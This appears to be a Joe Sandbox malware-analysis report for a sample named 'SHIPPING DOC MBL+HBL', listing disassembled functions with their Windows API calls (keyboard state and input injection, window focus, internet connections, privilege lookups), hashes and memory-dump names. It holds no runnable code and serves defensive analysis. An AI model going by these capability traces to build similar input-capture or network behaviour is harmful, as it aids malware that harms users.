API String ID: 432972143-0
Opcode ID: 699d893639c91ff2c8b12a6f118477fa8113d08fb985c197ca80ed9bd059f824
Instruction ID: c762dee1eea4856be191e2012bdebc3d8901e1249f0596e5cca257e06a186ad7
Opcode Fuzzy Hash: 699d893639c91ff2c8b12a6f118477fa8113d08fb985c197ca80ed9bd059f824
Instruction Fuzzy Hash: 5A315930AC0238AEFF348B25A814BFB7BA5EB483A4F18661AF094711D1C3768D459791

Function 00E60F42 Relevance: 6.1, APIs: 4, Instructions: 101keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,75C0C0D0,?,00008000), ref: 00E60F97
SetKeyboardState.USER32(00000080,?,00008000), ref: 00E60FB3
PostMessageW.USER32(00000000,00000101,00000000), ref: 00E61012
SendInput.USER32(00000001,?,0000001C,75C0C0D0,?,00008000), ref: 00E61064

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 9e12edd9c7047f947f617d47c20afc740561ad826fd1e4eaa3c947809075da68
Instruction ID: 818b389bb0283b228d91804de3f53b66a7ea57b295528be0c5cfb1c5de883efb
Opcode Fuzzy Hash: 9e12edd9c7047f947f617d47c20afc740561ad826fd1e4eaa3c947809075da68
Instruction Fuzzy Hash: A4319E30AC0298DEFF318B25E8087FB77A6AB44395F1C525AE045711E1C3744DC59791

Function 00E36345 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00E3637B
__isleadbyte_l.LIBCMT ref: 00E363A9
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00E363D7
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00E3640D

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: c695a8702ac91ebabe83979bb3b96146df07a1d004acbe61138e71d0b0f437f1
Instruction ID: 141f8ac902f8f9da9dc898b350a11c2bb85a814f25d31cb2139ea75debe8affa
Opcode Fuzzy Hash: c695a8702ac91ebabe83979bb3b96146df07a1d004acbe61138e71d0b0f437f1
Instruction Fuzzy Hash: 5A31B031A00256FFDB218F75C888BAE7FB5FF81314F159029E864AB1A1E731D850DBA0

Function 00E84F57 Relevance: 6.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00E84F6B

Part of subcall function 00E63685: GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00E6369F
Part of subcall function 00E63685: GetCurrentThreadId.KERNEL32 ref: 00E636A6
Part of subcall function 00E63685: AttachThreadInput.USER32(00000000,?,00E650AC), ref: 00E636AD

GetCaretPos.USER32(?), ref: 00E84F7C
ClientToScreen.USER32(00000000,?), ref: 00E84FB7
GetForegroundWindow.USER32 ref: 00E84FBD

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: 47de9d391407a5eb36391f4f2f3d733d09136974f2d7f8443bc800ec012c640f
Instruction ID: 3072ece534d201473379bcfbb8e361bf02ecd8c861e6c60a79a549fefa8a10d2
Opcode Fuzzy Hash: 47de9d391407a5eb36391f4f2f3d733d09136974f2d7f8443bc800ec012c640f
Instruction Fuzzy Hash: 4E311E72A00108AFDB00EFB5C8859EFB7F9EF98304F11506AE515F7252EA759E45CBA0

Function 00E8C502 Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E02612: GetWindowLongW.USER32(?,000000EB), ref: 00E02623

GetCursorPos.USER32(?), ref: 00E8C53C
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,00E3BB2B,?,?,?,?,?), ref: 00E8C551
GetCursorPos.USER32(?), ref: 00E8C59E
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,00E3BB2B,?,?,?), ref: 00E8C5D8

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: 272930275b51b0ec2b112ba8db0cd8556b9e0786d81cbc9595c5e20bc0416160
Instruction ID: 25a693c5eae38c3364574c9c3b4d07000cdf9b348a363972a334ed52fadd9c8e
Opcode Fuzzy Hash: 272930275b51b0ec2b112ba8db0cd8556b9e0786d81cbc9595c5e20bc0416160
Instruction Fuzzy Hash: 5A31D236600418AFCF15DF55D858EEA7BF9EB4A310F144069F90DAB2A1C731AD51DBA0

Function 00E5897E Relevance: 6.1, APIs: 4, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00E58432: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00E58449
Part of subcall function 00E58432: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00E58453
Part of subcall function 00E58432: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00E58462
Part of subcall function 00E58432: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00E58469
Part of subcall function 00E58432: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00E5847F

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00E589CB
_memcmp.LIBCMT ref: 00E589EE
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00E58A24
HeapFree.KERNEL32(00000000), ref: 00E58A2B

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: 087f5ee60a7e45e90457d49404e74c8a0512a4d1b9562552c58a5fed3b6733a0
Instruction ID: b6a6f5a664cccc0455126d2217cc12f5f12729b52d81c1c4a9f3c27f1a08e739
Opcode Fuzzy Hash: 087f5ee60a7e45e90457d49404e74c8a0512a4d1b9562552c58a5fed3b6733a0
Instruction Fuzzy Hash: C9219C31E40108EFCB10DFA4CA45BFEB7B8EF40306F144859E858B7241DB30AA09CB51

Function 00E20B0C Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

APIs

__setmode.LIBCMT ref: 00E20B2E

Part of subcall function 00E05B75: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00E6793F,?,?,00000000), ref: 00E05B8C
Part of subcall function 00E05B75: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00E6793F,?,?,00000000,?,?), ref: 00E05BB0

_fprintf.LIBCMT ref: 00E20B65
OutputDebugStringW.KERNEL32(?), ref: 00E56111

Part of subcall function 00E24C1A: _flsall.LIBCMT ref: 00E24C33

__setmode.LIBCMT ref: 00E20B9A

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: ByteCharMultiWide__setmode$DebugOutputString_flsall_fprintf
String ID:
API String ID: 521402451-0
Opcode ID: 5c61d11667aecbf09900641156544909db344b906e631296ea4b0646d4d79255
Instruction ID: 738b5e8a24d67a21c120f16d2f0ff08699f081406dfa895d2b4f527a4909886f
Opcode Fuzzy Hash: 5c61d11667aecbf09900641156544909db344b906e631296ea4b0646d4d79255
Instruction Fuzzy Hash: 231136729042287EDB18B7B4BC43DBE7BE99F45320F14216AF108B71D3EE215C8647A5

Function 00E7187D Relevance: 6.1, APIs: 4, Instructions: 78networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00E718B9

Part of subcall function 00E71943: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00E71962
Part of subcall function 00E71943: InternetCloseHandle.WININET(00000000), ref: 00E719FF

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Internet$CloseConnectHandleOpen
String ID:
API String ID: 1463438336-0
Opcode ID: 3f1207f54c37deb5206156a9b644fccf30261fc600c6f9750ab1ac772c685f23
Instruction ID: e5ef145d514e2d530da9c7548513bb32955ca3d30eab3785c0b46f6c41132c28
Opcode Fuzzy Hash: 3f1207f54c37deb5206156a9b644fccf30261fc600c6f9750ab1ac772c685f23
Instruction Fuzzy Hash: D621D171200705BFEB159F68CC10FBAB7ADFF88700F00902AFA59B6650DB31D9129791

Function 00E63A6E Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,00E8FAC0), ref: 00E63AA8
GetLastError.KERNEL32 ref: 00E63AB7
CreateDirectoryW.KERNEL32(?,00000000), ref: 00E63AC6
CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,00E8FAC0), ref: 00E63B23

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: 59f5add5f45b313d1bbbec0359de91f1c9316942fe22c13c09c5129d49fb8d2e
Instruction ID: 99483153295dfc8e441af1e7f092c7c3884aa1ac3ee38a0503375bded236d60d
Opcode Fuzzy Hash: 59f5add5f45b313d1bbbec0359de91f1c9316942fe22c13c09c5129d49fb8d2e
Instruction Fuzzy Hash: 9C2182305482019FC710DF34D88089BB7E4EF557A8F145A5AF49DE72A2D7309E49CB92

Function 00E35262 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00E35281

Part of subcall function 00E2588C: __FF_MSGBANNER.LIBCMT ref: 00E258A3
Part of subcall function 00E2588C: __NMSG_WRITE.LIBCMT ref: 00E258AA
Part of subcall function 00E2588C: RtlAllocateHeap.NTDLL(00FB0000,00000000,00000001,00000000,?,?,?,00E20F53,?), ref: 00E258CF

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 0e11318f3e147728161f671ae2565e7390c56262efcc6a3c54b7b58d602d7bb5
Instruction ID: e69b4b07b2342886778ec63690d151447f1c8a7ac704b59f7fb19e1971148d7c
Opcode Fuzzy Hash: 0e11318f3e147728161f671ae2565e7390c56262efcc6a3c54b7b58d602d7bb5
Instruction Fuzzy Hash: F011C133506A25AFCB212FB0BD0966B3BE8AB11364F206539F919BA260DF348940C791

Function 00E04531 Relevance: 6.1, APIs: 4, Instructions: 66timewindowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00E04560

Part of subcall function 00E0410D: _memset.LIBCMT ref: 00E0418D
Part of subcall function 00E0410D: _wcscpy.LIBCMT ref: 00E041E1
Part of subcall function 00E0410D: Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00E041F1

KillTimer.USER32(?,00000001,?,?), ref: 00E045B5
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00E045C4
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00E3D5FE

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
String ID:
API String ID: 1378193009-0
Opcode ID: 8955ce8d56c4528fa3c87f842843c6fb88a37e90b54c3f6dcc9db23ef4912231
Instruction ID: 8667e77ab3ac1a3e6d3d1d0aabf11f1eb920bfb0bb8e09deabea62b0c90e5b70
Opcode Fuzzy Hash: 8955ce8d56c4528fa3c87f842843c6fb88a37e90b54c3f6dcc9db23ef4912231
Instruction Fuzzy Hash: 1021A4B1508784AFE7328B649C59BE6BFEC9B01308F04109EE699B6181D7751988CB51

Function 00E7647F Relevance: 6.1, APIs: 4, Instructions: 61networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00E05B75: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00E6793F,?,?,00000000), ref: 00E05B8C
Part of subcall function 00E05B75: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00E6793F,?,?,00000000,?,?), ref: 00E05BB0

gethostbyname.WSOCK32(?,?,?), ref: 00E764AF
WSAGetLastError.WSOCK32(00000000), ref: 00E764BA
_memmove.LIBCMT ref: 00E764E7
inet_ntoa.WSOCK32(?), ref: 00E764F2

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast_memmovegethostbynameinet_ntoa
String ID:
API String ID: 1504782959-0
Opcode ID: 18ba726244d960a364005d457f14f68262ada795864906ba993dcf06e30e3834
Instruction ID: 05281ecd053cb0886be372229f5198e8d39eda967e0f6f915270defc324bd215
Opcode Fuzzy Hash: 18ba726244d960a364005d457f14f68262ada795864906ba993dcf06e30e3834
Instruction Fuzzy Hash: F3114C32900109AFCB04EBA4DD86DAEB7F8AF58310B149065F50AB71A2DB30AE54CB61

Function 00E58E03 Relevance: 6.1, APIs: 4, Instructions: 59windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 00E58E23
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00E58E35
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00E58E4B
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00E58E66

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: a8e484f1c7756c95ffb225ee4373d3dd1a1ef74ab5c4e050c1a683c5d5941beb
Instruction ID: fc31c7a599048e38fe1fc5fda7ae8cc16c6e273213cb9ad3e2a83d5d848bbd4b
Opcode Fuzzy Hash: a8e484f1c7756c95ffb225ee4373d3dd1a1ef74ab5c4e050c1a683c5d5941beb
Instruction Fuzzy Hash: F6115A79900218FFEB10DFA5CD85E9DBBB8FB08710F204095E904B7290DA716E14DB90

Function 00E01290 Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 00E02612: GetWindowLongW.USER32(?,000000EB), ref: 00E02623

DefDlgProcW.USER32(?,00000020,?), ref: 00E012D8
GetClientRect.USER32(?,?), ref: 00E3B77B
GetCursorPos.USER32(?), ref: 00E3B785
ScreenToClient.USER32(?,?), ref: 00E3B790

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: 27621b47873811e54f83eee6cd4113871cc0cf1f6dad48763e55ddc040bb8601
Instruction ID: 11fe529fbf7f536ec88f61234ce2c24e17d9aab10d0703c5ec1601ecea5f095e
Opcode Fuzzy Hash: 27621b47873811e54f83eee6cd4113871cc0cf1f6dad48763e55ddc040bb8601
Instruction Fuzzy Hash: E0113D35500019EFCB10DF94D8899FE77F8EB05300F4015A6F905FB2A0D730BA95ABA5

Function 00E61473 Relevance: 6.1, APIs: 4, Instructions: 51sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,00E6001E,?,00E61071,?,00008000), ref: 00E61490
Sleep.KERNEL32(00000000,?,?,?,?,?,?,00E6001E,?,00E61071,?,00008000), ref: 00E614B5
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,00E6001E,?,00E61071,?,00008000), ref: 00E614BF
Sleep.KERNEL32(?,?,?,?,?,?,?,00E6001E,?,00E61071,?,00008000), ref: 00E614F2

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: ac75bf695163b3aab827627197e8297f9fdd6f55278e5ab0bcf223bd9db55b82
Instruction ID: 6fb97438ac163b1f5662e27a92a9388b37644a1c18d805b768483bbbd155a3ad
Opcode Fuzzy Hash: ac75bf695163b3aab827627197e8297f9fdd6f55278e5ab0bcf223bd9db55b82
Instruction Fuzzy Hash: EF119731C41569DBCF00AFA6E988AEEBB78FF08752F085196E954B3241CF3095608BA1

Function 00E37137 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00E3715B

Part of subcall function 00E37842: __fltout2.LIBCMT ref: 00E3786B

__cftog_l.LIBCMT ref: 00E37181
__cftoe_l.LIBCMT ref: 00E371B3

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: f6e154d70688f0cd606853472772f801065ffe3d0982e1270144850e2b32dfb1
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: 2E0169B204914ABBCF225E84CC098EE3F66BB18344F099415FE9869121C336C9B1FB81

Function 00E8B2F9 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00E8B318
ScreenToClient.USER32(?,?), ref: 00E8B330
ScreenToClient.USER32(?,?), ref: 00E8B354
InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00E8B36F

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: 77d6ae4130d3fb4cdb9687fe928ea240556a9918f39c242d008ffb7e02ccca4a
Instruction ID: 1ddcda430bd68867a13db19a40e3895639ba0aaf04e6a391aad65946618939f0
Opcode Fuzzy Hash: 77d6ae4130d3fb4cdb9687fe928ea240556a9918f39c242d008ffb7e02ccca4a
Instruction Fuzzy Hash: 85114675D00209EFDB41DF99C4449EEBBB5FF08310F104166E915E3220D775AA559F91

